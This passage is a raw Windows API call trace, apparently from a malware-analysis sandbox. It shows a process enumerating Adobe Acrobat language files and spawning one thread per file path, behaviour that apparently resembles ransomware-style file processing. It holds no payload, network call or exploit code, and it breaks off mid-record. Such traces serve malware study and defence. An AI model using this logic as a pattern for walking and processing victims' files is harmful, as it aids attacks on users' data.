(_String1="PDFShell.HUN", _String2="..") returned 1 [0127.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027b050 [0127.879] wcscpy (in: _Dest=0x2027b050, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.879] wcscat (in: _Dest=0x2027b050, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.879] wcscat (in: _Dest=0x2027b050, _Source="PDFShell.HUN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HUN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HUN" [0127.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b4 [0127.881] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.ITA", cAlternateFileName="")) returned 1 [0127.881] wcscmp (_String1="PDFShell.ITA", _String2=".") returned 1 [0127.881] wcscmp (_String1="PDFShell.ITA", _String2="..") returned 1 [0127.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507690 [0127.881] wcscpy (in: _Dest=0x20507690, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.881] wcscat (in: _Dest=0x20507690, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.881] wcscat (in: _Dest=0x20507690, _Source="PDFShell.ITA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ITA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ITA" [0127.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b8 [0127.883] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.JPN", cAlternateFileName="")) returned 1 [0127.883] wcscmp (_String1="PDFShell.JPN", _String2=".") returned 1 [0127.883] wcscmp (_String1="PDFShell.JPN", _String2="..") returned 1 [0127.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507730 [0127.883] wcscpy (in: _Dest=0x20507730, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.883] wcscat (in: _Dest=0x20507730, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.883] wcscat (in: _Dest=0x20507730, _Source="PDFShell.JPN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.JPN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.JPN" [0127.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19bc [0127.884] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.KOR", cAlternateFileName="")) returned 1 [0127.884] wcscmp (_String1="PDFShell.KOR", _String2=".") returned 1 [0127.884] wcscmp (_String1="PDFShell.KOR", _String2="..") returned 1 [0127.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x205077d0 [0127.885] wcscpy (in: _Dest=0x205077d0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.885] wcscat (in: _Dest=0x205077d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.885] wcscat (in: _Dest=0x205077d0, _Source="PDFShell.KOR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.KOR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.KOR" [0127.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205077d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c0 [0127.886] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.NLD", cAlternateFileName="")) returned 1 [0127.886] wcscmp (_String1="PDFShell.NLD", _String2=".") returned 1 [0127.886] wcscmp (_String1="PDFShell.NLD", _String2="..") returned 1 [0127.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507870 [0127.886] wcscpy (in: _Dest=0x20507870, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.886] wcscat (in: _Dest=0x20507870, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.886] wcscat (in: _Dest=0x20507870, _Source="PDFShell.NLD" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NLD") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NLD" [0127.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c4 [0127.888] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.NOR", cAlternateFileName="")) returned 1 [0127.888] wcscmp (_String1="PDFShell.NOR", _String2=".") returned 1 [0127.888] wcscmp (_String1="PDFShell.NOR", _String2="..") returned 1 [0127.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507910 [0127.888] wcscpy (in: _Dest=0x20507910, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.888] wcscat (in: _Dest=0x20507910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.888] wcscat (in: _Dest=0x20507910, _Source="PDFShell.NOR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NOR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NOR" [0127.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c8 [0127.890] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.POL", cAlternateFileName="")) returned 1 [0127.890] wcscmp (_String1="PDFShell.POL", _String2=".") returned 1 [0127.890] wcscmp (_String1="PDFShell.POL", _String2="..") returned 1 [0127.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x205079b0 [0127.890] wcscpy (in: _Dest=0x205079b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.890] wcscat (in: _Dest=0x205079b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.890] wcscat (in: _Dest=0x205079b0, _Source="PDFShell.POL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.POL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.POL" [0127.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205079b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19cc [0127.892] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.PTB", cAlternateFileName="")) returned 1 [0127.892] wcscmp (_String1="PDFShell.PTB", _String2=".") returned 1 [0127.892] wcscmp (_String1="PDFShell.PTB", _String2="..") returned 1 [0127.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507a50 [0127.892] wcscpy (in: _Dest=0x20507a50, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.892] wcscat (in: _Dest=0x20507a50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.892] wcscat (in: _Dest=0x20507a50, _Source="PDFShell.PTB" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.PTB") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.PTB" [0127.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d0 [0127.893] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.RUM", cAlternateFileName="")) returned 1 [0127.893] wcscmp (_String1="PDFShell.RUM", _String2=".") returned 1 [0127.893] wcscmp (_String1="PDFShell.RUM", _String2="..") returned 1 [0127.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507af0 [0127.894] wcscpy (in: _Dest=0x20507af0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.894] wcscat (in: _Dest=0x20507af0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.894] wcscat (in: _Dest=0x20507af0, _Source="PDFShell.RUM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUM" [0127.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d4 [0127.895] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.RUS", cAlternateFileName="")) returned 1 [0127.895] wcscmp (_String1="PDFShell.RUS", _String2=".") returned 1 [0127.895] wcscmp (_String1="PDFShell.RUS", _String2="..") returned 1 [0127.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507b90 [0127.895] wcscpy (in: _Dest=0x20507b90, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.896] wcscat (in: _Dest=0x20507b90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.896] wcscat (in: _Dest=0x20507b90, _Source="PDFShell.RUS" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUS") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUS" [0127.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d8 [0127.897] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SKY", cAlternateFileName="")) returned 1 [0127.897] wcscmp (_String1="PDFShell.SKY", _String2=".") returned 1 [0127.897] wcscmp (_String1="PDFShell.SKY", _String2="..") returned 1 [0127.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507c30 [0127.897] wcscpy (in: _Dest=0x20507c30, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.897] wcscat (in: _Dest=0x20507c30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.897] wcscat (in: _Dest=0x20507c30, _Source="PDFShell.SKY" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SKY") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SKY" [0127.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19dc [0127.898] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SLV", cAlternateFileName="")) returned 1 [0127.898] wcscmp (_String1="PDFShell.SLV", _String2=".") returned 1 [0127.898] wcscmp (_String1="PDFShell.SLV", _String2="..") returned 1 [0127.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507cd0 [0127.898] wcscpy (in: _Dest=0x20507cd0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.898] wcscat (in: _Dest=0x20507cd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.898] wcscat (in: _Dest=0x20507cd0, _Source="PDFShell.SLV" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SLV") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SLV" [0127.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e0 [0127.899] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SUO", cAlternateFileName="")) returned 1 [0127.899] wcscmp (_String1="PDFShell.SUO", _String2=".") returned 1 [0127.899] wcscmp (_String1="PDFShell.SUO", _String2="..") returned 1 [0127.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507d70 [0127.900] wcscpy (in: _Dest=0x20507d70, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.900] wcscat (in: _Dest=0x20507d70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.900] wcscat (in: _Dest=0x20507d70, _Source="PDFShell.SUO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SUO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SUO" [0127.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e4 [0127.901] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SVE", cAlternateFileName="")) returned 1 [0127.901] wcscmp (_String1="PDFShell.SVE", _String2=".") returned 1 [0127.901] wcscmp (_String1="PDFShell.SVE", _String2="..") returned 1 [0127.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507e10 [0127.901] wcscpy (in: _Dest=0x20507e10, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.901] wcscat (in: _Dest=0x20507e10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.901] wcscat (in: _Dest=0x20507e10, _Source="PDFShell.SVE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SVE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SVE" [0127.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e8 [0127.902] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.TUR", cAlternateFileName="")) returned 1 [0127.902] wcscmp (_String1="PDFShell.TUR", _String2=".") returned 1 [0127.902] wcscmp (_String1="PDFShell.TUR", _String2="..") returned 1 [0127.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507eb0 [0127.903] wcscpy (in: _Dest=0x20507eb0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.903] wcscat (in: _Dest=0x20507eb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.903] wcscat (in: _Dest=0x20507eb0, _Source="PDFShell.TUR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.TUR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.TUR" [0127.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ec [0127.904] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.UKR", 